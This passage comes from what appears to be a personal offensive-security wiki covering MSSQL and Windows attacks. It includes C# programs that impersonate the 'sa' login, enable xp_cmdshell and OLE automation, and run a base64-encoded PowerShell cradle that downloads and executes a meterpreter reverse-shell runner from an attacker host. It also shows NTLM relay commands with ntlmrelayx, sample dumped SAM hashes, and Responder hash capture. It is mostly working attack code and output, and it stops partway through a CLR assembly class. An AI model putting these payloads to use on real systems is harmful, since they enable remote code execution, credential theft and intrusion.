&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
